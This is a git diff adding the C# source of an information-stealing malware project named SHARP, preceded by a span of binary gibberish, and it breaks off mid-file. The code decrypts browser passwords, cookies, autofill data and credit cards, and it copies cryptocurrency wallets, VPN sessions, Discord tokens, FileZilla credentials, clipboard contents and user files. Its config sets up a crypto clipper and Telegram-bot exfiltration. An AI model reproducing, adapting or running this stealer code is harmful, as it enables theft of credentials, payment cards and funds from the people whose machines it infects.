zu+Pod69aM2@aa8K`2RazzTcD9l(E4S{{Mso6R_q+WjUu?GREa!cl2S4?ohDsBaQoM zfV#i*%67i|lCaV)4_NAFos@G}K2;3sA3D-K*(YJJvl75(KkB-y!ZqVD317)6^M#iv zq^)$~Y+n45@RThlcPL|x?d|1Rq@avH;QMbYw&Tyj z|DOFXlf&}=Soq)L-`kGbgJZ4mzo*ldkH!b8^YZ3A2NwSK9zFfX`+$9Wc&4>J9Si?^ zkJ2Zw!@A>#!vCKCzn+hJW{CGj;eXHmE8)@m&My4#g}xzjwyg=9N5C3~@08M!f{6`sBFNpi!>!dySzd&~t9Eq;>5+8d0_kynuR015< zcj^C8ViRsz?GiE$)HqJvf&WJxf=JG@VvfWncocloLK|Gf#fASFYW!+_=jY+Rr?4EH zeDbHIm;UshE_UbtG09V8Ck=vjdh!2=hqsbe|7Z2#UmAww6S5QkkL>QbC+o8Bcaojy z2WnU7b<(bi`DvU-LF?VedVRr%fbW~K*S5VX$PTx}Ve{YikT<7y)`Pfbnqi$ooYFhI z2j0{jXIp$c;Q8$^A><#)*2R8zv=6k?w%BuChvt80Vx%&@cJ@qlsJb>jF*LqfJw3E` zcB48pT76}*a%OCN^z?eAK1>M-jd0ZCZ{Gdy#Qo GetEncryptionKey(string BrowserPath) + { + byte[] key = (byte[]) null; + string path = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(path)) + { + try + { + string endAsync; + using (FileStream fs = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader((Stream) fs)) + endAsync = await reader.ReadToEndAsync(); + } + key = ProtectedData.Unprotect(((IEnumerable) Convert.FromBase64String(BRWSR.ExtractEncryptedKey(endAsync))).Skip(5).ToArray(), (byte[]) null, DataProtectionScope.CurrentUser); + } + catch (Exception ex) + { + Console.WriteLine(ex.ToString()); + } + } + byte[] encryptionKey = key == null ? (byte[]) null : key; + key = (byte[]) null; + return encryptionKey; + } + + private static byte[] DecryptData(byte[] buffer, byte[] key) + { + byte[] numArray = (byte[]) null; + if (key == null) + return (byte[]) null; + try + { + string str = Encoding.Default.GetString(buffer); + if (str.StartsWith("v10") || str.StartsWith("v11")) + { + byte[] array1 = ((IEnumerable) buffer).Skip(3).Take(12).ToArray(); + byte[] array2 = ((IEnumerable) buffer).Skip(15).ToArray(); + byte[] array3 = ((IEnumerable) array2).Skip(array2.Length - 16 /*0x10*/).ToArray(); + byte[] array4 = ((IEnumerable) array2).Take(array2.Length - array3.Length).ToArray(); + numArray = new AesGcm().Decrypt(key, array1, (byte[]) null, array4, array3); + } + else + numArray = ProtectedData.Unprotect(buffer, (byte[]) null, DataProtectionScope.CurrentUser); + } + catch (Exception ex) + { + Console.WriteLine($"Failed to decrypt {ex}"); + } + return numArray; + } + + public static async Task GetPasswords(string BrowserPath, byte[] key) + { + List passwords = new List(); + foreach (string sourceFileName in await Task.Run((Func) (() => Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)))) + { + try + { + string str; + do + { + str = Path.Combine(Path.GetTempPath(), BRWSR.GenerateRandomString(30)); + } + while (File.Exists(str)); + File.Copy(sourceFileName, str); + SQLiteHandler sqLiteHandler = new SQLiteHandler(str); + if (sqLiteHandler.ReadTable("logins")) + { + for (int row_num = 0; row_num < sqLiteHandler.GetRowCount(); ++row_num) + { + string url = sqLiteHandler.GetValue(row_num, "origin_url"); + string username = sqLiteHandler.GetValue(row_num, "username_value"); + byte[] bytes = BRWSR.DecryptData(Encoding.Default.GetBytes(sqLiteHandler.GetValue(row_num, "password_value")), key); + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && bytes != null && bytes.Length != 0) + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(bytes), url)); + } + File.Delete(str); + } + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + } + PasswordFormat[] array = passwords.ToArray(); + passwords = (List) null; + return array; + } + + private static string GetUTF8(string sNonUtf8) + { + try + { + return Encoding.UTF8.GetString(Encoding.Default.GetBytes(sNonUtf8)); + } + catch + { + return sNonUtf8; + } + } + + public static async Task GetAutoFiles(string BrowserPath) + { + List autofiles = new List(); + foreach (string sourceFileName in await Task.Run((Func) (() => Directory.GetFiles(BrowserPath, "Web Data", SearchOption.AllDirectories)))) + { + try + { + string str; + do + { + str = Path.Combine(Path.GetTempPath(), BRWSR.GenerateRandomString(20)); + } + while (File.Exists(str)); + File.Copy(sourceFileName, str); + SQLiteHandler sqLiteHandler = new SQLiteHandler(str); + if (sqLiteHandler.ReadTable("autofill")) + { + for (int row_num = 0; row_num < sqLiteHandler.GetRowCount(); ++row_num) + { + string utF8_1 = BRWSR.GetUTF8(sqLiteHandler.GetValue(row_num, "name")); + string utF8_2 = BRWSR.GetUTF8(sqLiteHandler.GetValue(row_num, "value")); + if (utF8_1 != null && utF8_2 != null) + autofiles.Add(new AutoFilesFormat(utF8_1, utF8_2)); + } + File.Delete(str); + } + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + } + AutoFilesFormat[] array = autofiles.ToArray(); + autofiles = (List) null; + return array; + } + + internal static async Task GetCreditCards(string BrowserPath, byte[] key) + { + List creditcards = new List(); + foreach (string sourceFileName in await Task.Run((Func) (() => Directory.GetFiles(BrowserPath, "Web Data", SearchOption.AllDirectories)))) + { + try + { + string str = Path.Combine(Path.GetTempPath(), BRWSR.GenerateRandomString(37)); + File.Copy(sourceFileName, str); + SQLiteHandler sqLiteHandler = new SQLiteHandler(str); + if (sqLiteHandler.ReadTable("credit_cards")) + { + for (int row_num = 0; row_num < sqLiteHandler.GetRowCount(); ++row_num) + { + byte[] bytes1 = Encoding.Default.GetBytes(sqLiteHandler.GetValue(row_num, "card_number_encrypted")); + Console.WriteLine(sqLiteHandler.GetValue(row_num, "card_number_encrypted")); + string utF8_1 = BRWSR.GetUTF8(sqLiteHandler.GetValue(row_num, "name_on_card")); + string utF8_2 = BRWSR.GetUTF8(sqLiteHandler.GetValue(row_num, "expiration_month")); + string utF8_3 = BRWSR.GetUTF8(sqLiteHandler.GetValue(row_num, "expiration_year")); + byte[] key1 = key; + byte[] bytes2 = BRWSR.DecryptData(bytes1, key1); + if (bytes2 != null) + creditcards.Add(new CreditCardFormat(Encoding.UTF8.GetString(bytes2), utF8_3, utF8_2, utF8_1)); + } + File.Delete(str); + } + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + } + CreditCardFormat[] array = creditcards.ToArray(); + creditcards = (List) null; + return array; + } + } +} diff --git a/BSSID.cs b/BSSID.cs new file mode 100644 index 0000000..33ba1f2 --- /dev/null +++ b/BSSID.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.NetworkInformation; +using System.Runtime.InteropServices; + +namespace SHARP +{ + internal class BSSID + { + [DllImport("iphlpapi.dll")] + private static extern int SendARP( + int destIp, + int srcIP, + byte[] macAddr, + ref uint physicalAddrLen); + + public static string GetBSSID() + { + byte[] macAddr = new byte[6]; + uint length = (uint) macAddr.Length; + try + { + if (BSSID.SendARP(BitConverter.ToInt32(IPAddress.Parse(BSSID.GetDefaultGateway()).GetAddressBytes(), 0), 0, macAddr, ref length) != 0) + return "unknown"; + string[] strArray = new string[(int) length]; + for (int index = 0; (long) index < (long) length; ++index) + strArray[index] = macAddr[index].ToString("x2"); + return string.Join(":", strArray); + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + return "Failed"; + } + + public static string GetDefaultGateway() + { + try + { + return ((IEnumerable) NetworkInterface.GetAllNetworkInterfaces()).Where((Func) (n => n.OperationalStatus == OperationalStatus.Up)).Where((Func) (n => n.NetworkInterfaceType != NetworkInterfaceType.Loopback)).SelectMany((Func>) (n => + { + IPInterfaceProperties ipProperties = n.GetIPProperties(); + return ipProperties == null ? (IEnumerable) null : (IEnumerable) ipProperties.GatewayAddresses; + })).Select((Func) (g => g?.Address)).Where((Func) (a => a != null)).FirstOrDefault().ToString(); + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + return "Unknown"; + } + } +} diff --git a/BitcoinCore.cs b/BitcoinCore.cs new file mode 100644 index 0000000..c157b3c --- /dev/null +++ b/BitcoinCore.cs @@ -0,0 +1,23 @@ +using Microsoft.Win32; +using System.IO; + +namespace SHARP +{ + internal class BitcoinCore + { + public static void BCStr(string directorypath) + { + try + { + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Bitcoin").OpenSubKey("Bitcoin-Qt"); + Directory.CreateDirectory(directorypath + "\\Wallets\\BitcoinCore\\"); + File.Copy(registryKey.GetValue("strDataDir").ToString() + "\\wallet.dat", directorypath + "\\BitcoinCore\\wallet.dat"); + ++Counting.bitcoincore; + ++Counting.Wallets; + } + catch + { + } + } + } +} diff --git a/Browsers.cs b/Browsers.cs new file mode 100644 index 0000000..2536fe2 --- /dev/null +++ b/Browsers.cs @@ -0,0 +1,218 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class Browsers + { + private static string LocalApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + private static string ApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + + public static async Task ChromiumBrowsers() + { + Dictionary paths = new Dictionary() + { + { + "Google", + Path.Combine(Browsers.LocalApplicationData, "Google", "Chrome", "User Data") + }, + { + "Yandex", + Path.Combine(Browsers.LocalApplicationData, "Yandex", "YandexBrowser", "User Data") + }, + { + "Edge", + Path.Combine(Browsers.LocalApplicationData, "Microsoft", "Edge", "User Data") + }, + { + "Opera", + Path.Combine(Browsers.ApplicationData, "Opera Software", "Opera Stable") + }, + { + "Opera GX", + Path.Combine(Browsers.ApplicationData, "Opera Software", "Opera GX Stable") + }, + { + "Brave", + Path.Combine(Browsers.LocalApplicationData, "BraveSoftware", "Brave-Browser", "User Data") + }, + { + "Chromium", + Path.Combine(Browsers.LocalApplicationData, "Chromium", "User Data") + }, + { + "Dragon", + Path.Combine(Browsers.LocalApplicationData, "Comodo", "Dragon", "User Data") + }, + { + "EpicPrivacy", + Path.Combine(Browsers.LocalApplicationData, "Epic Privacy Browser", "User Data") + }, + { + "Iridium", + Path.Combine(Browsers.LocalApplicationData, "Iridium", "User Data") + }, + { + "Slimjet", + Path.Combine(Browsers.LocalApplicationData, "Slimjet", "User Data") + }, + { + "UR-Browser", + Path.Combine(Browsers.LocalApplicationData, "UR Browser", "User Data") + }, + { + "Vivaldi", + Path.Combine(Browsers.LocalApplicationData, "Vivaldi", "User Data") + }, + { + "Google(x86)", + Path.Combine(Browsers.LocalApplicationData, "Google(x86)", "Chrome", "User Data") + }, + { + "MapleStudio", + Path.Combine(Browsers.LocalApplicationData, "MapleStudio", "ChromePlus", "User Data") + }, + { + "7Star", + Path.Combine(Browsers.LocalApplicationData, "7Star", "7Star", "User Data") + }, + { + "CentBrowser", + Path.Combine(Browsers.LocalApplicationData, "CentBrowser", "User Data") + }, + { + "Chedot", + Path.Combine(Browsers.LocalApplicationData, "Chedot", "User Data") + }, + { + "Kometa", + Path.Combine(Browsers.LocalApplicationData, "Kometa", "User Data") + }, + { + "Elements Browser", + Path.Combine(Browsers.LocalApplicationData, "Elements Browser", "User Data") + }, + { + "Uran", + Path.Combine(Browsers.LocalApplicationData, "uCozMedia", "Uran", "User Data") + }, + { + "Amigo", + Path.Combine(Browsers.LocalApplicationData, "Amigo", "User", "User Data") + }, + { + "Atom", + Path.Combine(Browsers.LocalApplicationData, "Mail.Ru", "Atom", "User Data") + }, + { + "Torch", + Path.Combine(Browsers.LocalApplicationData, "Torch", "User Data") + }, + { + "360Browser", + Path.Combine(Browsers.LocalApplicationData, "360Browser", "Browser", "User Data") + } + }; + List taskList = new List(); + foreach (KeyValuePair path in paths) + { + if (Directory.Exists(path.Value)) + taskList.Add(Browsers.RunChromiumBrowser(path)); + } + await Task.WhenAll((IEnumerable) taskList); + foreach (KeyValuePair path in paths) + await Browsers.RunBrowserv20(path); + paths = (Dictionary) null; + } + + public static async Task GeckoBrowsers() + { + Dictionary dictionary = new Dictionary(); + dictionary.Add("Thunderbird", Path.Combine(Browsers.ApplicationData, "Thunderbird", "Profiles")); + dictionary.Add("SeaMonkey", Path.Combine(Browsers.ApplicationData, "Mozilla", "SeaMonkey", "Profiles")); + dictionary.Add("Cyberfox", Path.Combine(Browsers.ApplicationData, "8pecxstudios", "Cyberfox", "Profiles")); + dictionary.Add("K-Meleon", Path.Combine(Browsers.ApplicationData, "K-Meleon", "Profiles")); + dictionary.Add("IceDragon", Path.Combine(Browsers.ApplicationData, "Comodo", "IceDragon", "Profiles")); + dictionary.Add("Waterfox", Path.Combine(Browsers.ApplicationData, "Waterfox", "Profiles")); + dictionary.Add("Firefox", Path.Combine(Browsers.ApplicationData, "Mozilla", "Firefox", "Profiles")); + dictionary.Add("Postbox", Path.Combine(Browsers.ApplicationData, "Postbox", "Profiles")); + dictionary.Add("Flock", Path.Combine(Browsers.ApplicationData, "Flock", "Browser")); + List taskList = new List(); + foreach (KeyValuePair path in dictionary) + { + if (Directory.Exists(path.Value)) + taskList.Add(Browsers.RunGeckoBrowser(path)); + } + await Task.WhenAll((IEnumerable) taskList); + } + + private static async Task RunGeckoBrowser(KeyValuePair path) + { + await Task.Run((Func) (async () => + { + CookieFormat[] cookies = await GBRWSR.GetCookies(path.Value); + if (cookies.Length == 0) + return; + await Writer.WriteCookies(cookies, path.Key); + })); + if (!(path.Key == "Firefox")) + ; + else + { + PasswordFormat[] passwords = await GBRWSR.GetPasswords(path.Value); + if (passwords.Length == 0) + ; + else + await Writer.WritePasswords(passwords); + } + } + + private static async Task RunBrowserv20(KeyValuePair path) + { + try + { + if (!Directory.Exists(path.Value)) + return; + await Task.Run((Func) (async () => + { + CookieFormat[] cookiesFromBrowser = await V20Collect.GetCookiesFromBrowser(path); + if (cookiesFromBrowser.Length == 0) + return; + await Writer.WriteCookies(cookiesFromBrowser, path.Key); + })); + } + catch (Exception ex) + { + } + } + + private static async Task RunChromiumBrowser(KeyValuePair path) + { + byte[] _encrKey = await BRWSR.GetEncryptionKey(path.Value); + await Task.Run((Func) (async () => + { + PasswordFormat[] passwords = await BRWSR.GetPasswords(path.Value, _encrKey); + Console.WriteLine(passwords.Length.ToString()); + if (passwords.Length == 0) + return; + await Writer.WritePasswords(passwords); + })); + await Task.Run((Func) (async () => + { + AutoFilesFormat[] autoFiles = await BRWSR.GetAutoFiles(path.Value); + if (autoFiles.Length == 0) + return; + await Writer.WriteAutoFill(autoFiles, path.Key); + })); + await Task.Run((Func) (async () => + { + CreditCardFormat[] creditCards = await BRWSR.GetCreditCards(path.Value, _encrKey); + if (creditCards.Length == 0) + return; + await Writer.WriteCreditCards(creditCards, path.Key); + })); + } + } +} diff --git a/Buffers.cs b/Buffers.cs new file mode 100644 index 0000000..14b0e5d --- /dev/null +++ b/Buffers.cs @@ -0,0 +1,36 @@ +using System; +using System.Runtime.InteropServices; + +namespace SHARP +{ + internal class Buffers + { + private const uint CF_UNICODETEXT = 13; + + public static string GetBuffer() + { + if (!WinAPI.IsClipboardFormatAvailable(13U) || !WinAPI.OpenClipboard(IntPtr.Zero)) + return (string) null; + string buffer = string.Empty; + IntPtr clipboardData = WinAPI.GetClipboardData(13U); + if (!clipboardData.Equals((object) IntPtr.Zero)) + { + IntPtr num = WinAPI.GlobalLock(clipboardData); + if (!num.Equals((object) IntPtr.Zero)) + { + try + { + buffer = Marshal.PtrToStringUni(num); + WinAPI.GlobalUnlock(num); + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + } + } + WinAPI.CloseClipboard(); + return buffer; + } + } +} diff --git a/Bytecoin.cs b/Bytecoin.cs new file mode 100644 index 0000000..76cb53c --- /dev/null +++ b/Bytecoin.cs @@ -0,0 +1,25 @@ +using System.IO; + +namespace SHARP +{ + internal class Bytecoin + { + public static void BCNcoinStr(string directorypath) + { + try + { + foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\bytecoin").GetFiles()) + { + Directory.CreateDirectory(directorypath + "\\Wallets\\Bytecoin\\"); + if (file.Extension.Equals(".wallet")) + file.CopyTo($"{directorypath}\\Bytecoin\\{file.Name}"); + } + ++Counting.bytecoin; + ++Counting.Wallets; + } + catch + { + } + } + } +} diff --git a/Clipboard.cs b/Clipboard.cs new file mode 100644 index 0000000..3d6a3c2 --- /dev/null +++ b/Clipboard.cs @@ -0,0 +1,40 @@ +using System.Threading; + +namespace SHARP +{ + internal class Clipboard + { + public static string GetText() + { + string ReturnValue = string.Empty; + try + { + Thread thread = new Thread((ThreadStart) (() => ReturnValue = System.Windows.Forms.Clipboard.GetText())); + thread.SetApartmentState(ApartmentState.STA); + thread.Start(); + thread.Join(); + } + catch + { + } + return ReturnValue; + } + + public static void SetText(string text) + { + Thread thread = new Thread((ThreadStart) (() => + { + try + { + System.Windows.Forms.Clipboard.SetText(text); + } + catch + { + } + })); + thread.SetApartmentState(ApartmentState.STA); + thread.Start(); + thread.Join(); + } + } +} diff --git a/Config.cs b/Config.cs new file mode 100644 index 0000000..6bcf9ea --- /dev/null +++ b/Config.cs @@ -0,0 +1,79 @@ +using System.Collections.Generic; + +namespace SHARP +{ + internal class Config + { + public static string language = "en"; + public static string token = ""; + public static bool antiSNG = false; + public static string id = ""; + public static bool cclipper = false; + public static int clipboard_check_delay = 1; + public static Dictionary addresses = new Dictionary() + { + { + "btc1", + "" + }, + { + "btc2", + "" + }, + { + "usdtTRC20", + "" + }, + { + "eth", + "" + }, + { + "xmr", + "" + }, + { + "xlm", + "" + }, + { + "xrp", + "" + }, + { + "ltc", + "" + }, + { + "nec", + "" + }, + { + "bch", + "" + } + }; + public static string[] extensions = new string[9] + { + ".txt", + ".png", + ".jpg", + ".svc", + ".rar", + ".zip", + ".pdf", + ".doc", + "xlsx" + }; + public static string[] dirsToCollect = new string[3] + { + Help.DesktopPath, + Help.Downloads, + Help.TGdownload + }; + public static int sizefile = 11500000; + public static string ApiUrl = "https://api.telegram.org/bot"; + public static string myPrivateServer = "http://127.0.0.1/uploads"; + public static OMethod.OMethods method = OMethod.OMethods.TelegramBot; + } +} diff --git a/CookieFormat.cs b/CookieFormat.cs new file mode 100644 index 0000000..52beb95 --- /dev/null +++ b/CookieFormat.cs @@ -0,0 +1,20 @@ +namespace SHARP +{ + internal struct CookieFormat + { + internal string Host; + internal string Name; + internal string Path; + internal string Cookie; + internal string Expiry; + + internal CookieFormat(string host, string name, string path, string cookie, string expiry) + { + this.Host = host; + this.Name = name; + this.Path = path; + this.Cookie = cookie; + this.Expiry = expiry; + } + } +} diff --git a/Counting.cs b/Counting.cs new file mode 100644 index 0000000..01bf916 --- /dev/null +++ b/Counting.cs @@ -0,0 +1,38 @@ +namespace SHARP +{ + internal class Counting + { + public static int cc = 0; + public static int Passwords = 0; + public static int CreditCards = 0; + public static int AutoFill = 0; + public static int Cookies = 0; + public static int pia = 0; + public static int express = 0; + public static int cgv = 0; + public static int jabber = 0; + public static int totalcmd = 0; + public static string country = ""; + public static int ds = 0; + public static int Telegram = 0; + public static int FileZilla = 0; + public static int Wallets = 0; + public static int NordVPN = 0; + public static int OpenVPN = 0; + public static int ProtonVPN = 0; + public static int Steam = 0; + public static int armory = 0; + public static int atomicwallet = 0; + public static int bitcoincore = 0; + public static int bytecoin = 0; + public static int dashcore = 0; + public static int electrum = 0; + public static int etherium = 0; + public static int exodus = 0; + public static int jaxx = 0; + public static int litecoincore = 0; + public static int monero = 0; + public static int zcash = 0; + public static int metamask = 0; + } +} diff --git a/CreditCardFormat.cs b/CreditCardFormat.cs new file mode 100644 index 0000000..f749901 --- /dev/null +++ b/CreditCardFormat.cs @@ -0,0 +1,18 @@ +namespace SHARP +{ + internal struct CreditCardFormat + { + internal string Number; + internal string ExpYear; + internal string ExpMonth; + internal string Name; + + internal CreditCardFormat(string number, string expyear, string expmonth, string name) + { + this.Name = name; + this.Number = number; + this.ExpYear = expyear; + this.ExpMonth = expmonth; + } + } +} diff --git a/CyberGhost.cs b/CyberGhost.cs new file mode 100644 index 0000000..4a88bbc --- /dev/null +++ b/CyberGhost.cs @@ -0,0 +1,38 @@ +using System; +using System.IO; + +namespace SHARP +{ + internal class CyberGhost + { + public static void SaveFileSession(string head) + { + string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\CyberGhost"; + string str1 = head + "\\VPN\\CyberGhost"; + if (!Directory.Exists(path)) + { + Console.WriteLine("Исходная директория не существует."); + } + else + { + if (!Directory.Exists(str1)) + Directory.CreateDirectory(str1); + foreach (string file in Directory.GetFiles(path)) + { + string fileName = Path.GetFileName(file); + File.Copy(file, Path.Combine(str1, fileName), true); + Console.WriteLine($"Файл {fileName} скопирован успешно."); + ++Counting.cgv; + } + foreach (string directory in Directory.GetDirectories(path)) + { + string fileName = Path.GetFileName(directory); + string str2 = Path.Combine(str1, fileName); + Directory.CreateDirectory(str2); + Filemanager.CopyDirectory(directory, str2); + ++Counting.cgv; + } + } + } + } +} diff --git a/DashCore.cs b/DashCore.cs new file mode 100644 index 0000000..2b4710e --- /dev/null +++ b/DashCore.cs @@ -0,0 +1,23 @@ +using Microsoft.Win32; +using System.IO; + +namespace SHARP +{ + internal class DashCore + { + public static void DSHcoinStr(string directorypath) + { + try + { + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Dash").OpenSubKey("Dash-Qt"); + Directory.CreateDirectory(directorypath + "\\Wallets\\DashCore\\"); + File.Copy(registryKey.GetValue("strDataDir").ToString() + "\\wallet.dat", directorypath + "\\DashCore\\wallet.dat"); + ++Counting.dashcore; + ++Counting.Wallets; + } + catch + { + } + } + } +} diff --git a/Discord.cs b/Discord.cs new file mode 100644 index 0000000..336be43 --- /dev/null +++ b/Discord.cs @@ -0,0 +1,37 @@ +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class Discord + { + public static async Task Run(string h) + { + List ts = new List(); + DiscordAccountFormat[] accounts = await dst.GetAccounts(); + StringBuilder stringBuilder = new StringBuilder(); + foreach (DiscordAccountFormat discordAccountFormat in accounts) + { + if (!ts.Contains(discordAccountFormat.Token)) + { + ++Counting.ds; + stringBuilder.AppendLine("\nToken: " + discordAccountFormat.Token); + ts.Add(discordAccountFormat.Token); + } + } + if (stringBuilder.Length > 0) + Directory.CreateDirectory(h + "\\Discord"); + if (ts.Count <= 0) + { + ts = (List) null; + } + else + { + File.WriteAllText(Path.Combine(h, nameof (Discord), "Tokens.txt"), stringBuilder.ToString()); + ts = (List) null; + } + } + } +} diff --git a/DiscordAccountFormat.cs b/DiscordAccountFormat.cs new file mode 100644 index 0000000..9e9f1a2 --- /dev/null +++ b/DiscordAccountFormat.cs @@ -0,0 +1,9 @@ +namespace SHARP +{ + internal struct DiscordAccountFormat + { + internal readonly string Token; + + internal DiscordAccountFormat(string token) => this.Token = token; + } +} diff --git a/Electrum.cs b/Electrum.cs new file mode 100644 index 0000000..9a8801a --- /dev/null +++ b/Electrum.cs @@ -0,0 +1,26 @@ +using System.IO; + +namespace SHARP +{ + internal class Electrum + { + public static string ElectrumDir = "\\Wallets\\Electrum\\"; + + public static void EleStr(string directorypath) + { + try + { + foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\Electrum\\wallets").GetFiles()) + { + Directory.CreateDirectory(directorypath + Electrum.ElectrumDir); + file.CopyTo(directorypath + Electrum.ElectrumDir + file.Name); + } + ++Counting.electrum; + ++Counting.Wallets; + } + catch + { + } + } + } +} diff --git a/Ethereum.cs b/Ethereum.cs new file mode 100644 index 0000000..4a27a5b --- /dev/null +++ b/Ethereum.cs @@ -0,0 +1,26 @@ +using System.IO; + +namespace SHARP +{ + internal class Ethereum + { + public static string EthereumDir = "\\Wallets\\Ethereum\\"; + + public static void EcoinStr(string directorypath) + { + try + { + foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\Ethereum\\keystore").GetFiles()) + { + Directory.CreateDirectory(directorypath + Ethereum.EthereumDir); + file.CopyTo(directorypath + Ethereum.EthereumDir + file.Name); + } + ++Counting.etherium; + ++Counting.Wallets; + } + catch + { + } + } + } +} diff --git a/Exodus.cs b/Exodus.cs new file mode 100644 index 0000000..3f2d506 --- /dev/null +++ b/Exodus.cs @@ -0,0 +1,26 @@ +using System.IO; + +namespace SHARP +{ + internal class Exodus + { + public static string ExodusDir = "\\Wallets\\Exodus\\"; + + public static void ExodusStr(string directorypath) + { + try + { + foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\Exodus\\exodus.wallet\\").GetFiles()) + { + Directory.CreateDirectory(directorypath + Exodus.ExodusDir); + file.CopyTo(directorypath + Exodus.ExodusDir + file.Name); + } + ++Counting.exodus; + ++Counting.Wallets; + } + catch + { + } + } + } +} diff --git a/ExpressVPN.cs b/ExpressVPN.cs new file mode 100644 index 0000000..4f6b386 --- /dev/null +++ b/ExpressVPN.cs @@ -0,0 +1,38 @@ +using System; +using System.IO; + +namespace SHARP +{ + internal class ExpressVPN + { + public static void SaveFileSession(string head) + { + string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\ExpressVPN"; + string str1 = head + "\\VPN\\ExpressVPN"; + if (!Directory.Exists(path)) + { + Console.WriteLine("Исходная директория не существует."); + } + else + { + if (!Directory.Exists(str1)) + Directory.CreateDirectory(str1); + foreach (string file in Directory.GetFiles(path)) + { + string fileName = Path.GetFileName(file); + File.Copy(file, Path.Combine(str1, fileName), true); + Console.WriteLine($"Файл {fileName} скопирован успешно."); + ++Counting.express; + } + foreach (string directory in Directory.GetDirectories(path)) + { + string fileName = Path.GetFileName(directory); + string str2 = Path.Combine(str1, fileName); + Directory.CreateDirectory(str2); + Filemanager.CopyDirectory(directory, str2); + ++Counting.express; + } + } + } + } +} diff --git a/FileZilla.cs b/FileZilla.cs new file mode 100644 index 0000000..e5f3b6d --- /dev/null +++ b/FileZilla.cs @@ -0,0 +1,78 @@ +using System; +using System.IO; +using System.Text; +using System.Threading.Tasks; +using System.Xml; + +namespace SHARP +{ + internal class FileZilla + { + private static StringBuilder SB = new StringBuilder(); + public static readonly string FzPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "FileZilla\\recentservers.xml"); + + public static async Task GetFileZilla(string head) + { + string str = head; + if (!File.Exists(FileZilla.FzPath)) + return; + Directory.CreateDirectory(str + "\\FTP\\FileZilla"); + FileZilla.GetDataFileZilla(FileZilla.FzPath, str + "\\FTP\\FileZilla\\FTP\\FileZilla.log"); + } + + public static void GetDataFileZilla(string PathFZ, string SaveFile, string RS = "RecentServers", string Serv = "Server") + { + try + { + if (!File.Exists(PathFZ)) + return; + if (File.Exists(PathFZ)) + { + XmlDocument xmlDocument = new XmlDocument(); + xmlDocument.Load(PathFZ); + foreach (XmlElement xmlElement in ((XmlElement) xmlDocument.GetElementsByTagName(RS)[0]).GetElementsByTagName(Serv)) + { + string innerText1 = xmlElement.GetElementsByTagName("Host")[0].InnerText; + string innerText2 = xmlElement.GetElementsByTagName("Port")[0].InnerText; + string innerText3 = xmlElement.GetElementsByTagName("User")[0].InnerText; + string str = Encoding.UTF8.GetString(Convert.FromBase64String(xmlElement.GetElementsByTagName("Pass")[0].InnerText)); + if (!string.IsNullOrEmpty(innerText1)) + { + if (!string.IsNullOrEmpty(innerText2)) + { + if (!string.IsNullOrEmpty(innerText3)) + { + if (!string.IsNullOrEmpty(str)) + { + FileZilla.SB.AppendLine("Host: " + innerText1); + FileZilla.SB.AppendLine("Port: " + innerText2); + FileZilla.SB.AppendLine("User: " + innerText3); + FileZilla.SB.AppendLine($"Pass: {str}\r\n"); + ++Counting.FileZilla; + } + else + break; + } + else + break; + } + else + break; + } + else + break; + } + if (FileZilla.SB.Length > 0) + File.AppendAllText(SaveFile, FileZilla.SB.ToString()); + } + if (FileZilla.SB.Length <= 0) + return; + File.AppendAllText(SaveFile, FileZilla.SB.ToString()); + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + } + } +} diff --git a/Filemanager.cs b/Filemanager.cs new file mode 100644 index 0000000..59e05b1 --- /dev/null +++ b/Filemanager.cs @@ -0,0 +1,25 @@ +using System.IO; + +namespace SHARP +{ + internal sealed class Filemanager + { + public static void CopyDirectory(string sourceDir, string targetDir) + { + if (!Directory.Exists(sourceDir)) + throw new DirectoryNotFoundException(sourceDir); + if (!Directory.Exists(targetDir)) + Directory.CreateDirectory(targetDir); + foreach (string enumerateDirectory in Directory.EnumerateDirectories(sourceDir)) + { + string targetDir1 = Path.Combine(targetDir, Path.GetFileName(enumerateDirectory)); + Filemanager.CopyDirectory(enumerateDirectory, targetDir1); + } + foreach (string enumerateFile in Directory.EnumerateFiles(sourceDir)) + { + string destFileName = Path.Combine(targetDir, Path.GetFileName(enumerateFile)); + File.Copy(enumerateFile, destFileName, true); + } + } + } +} diff --git a/Files.cs b/Files.cs new file mode 100644 index 0000000..bb1cbf6 --- /dev/null +++ b/Files.cs @@ -0,0 +1,130 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; + +namespace SHARP +{ + public class Files + { + public static async Task GetFiles(string Head) + { + try + { + string str = Head + "\\Files"; + Directory.CreateDirectory(str); + if (!Directory.Exists(str)) + { + await Files.GetFiles(Head); + } + else + { + int sizefile = Config.sizefile; + foreach (string source in Config.dirsToCollect) + Files.CopyDirectory(source, str, "*.*", (long) sizefile); + } + } + catch + { + } + } + + private static long GetDirSize(string path, long size = 0) + { + try + { + foreach (string enumerateFile in Directory.EnumerateFiles(path)) + { + try + { + size += new FileInfo(enumerateFile).Length; + } + catch + { + } + } + foreach (string enumerateDirectory in 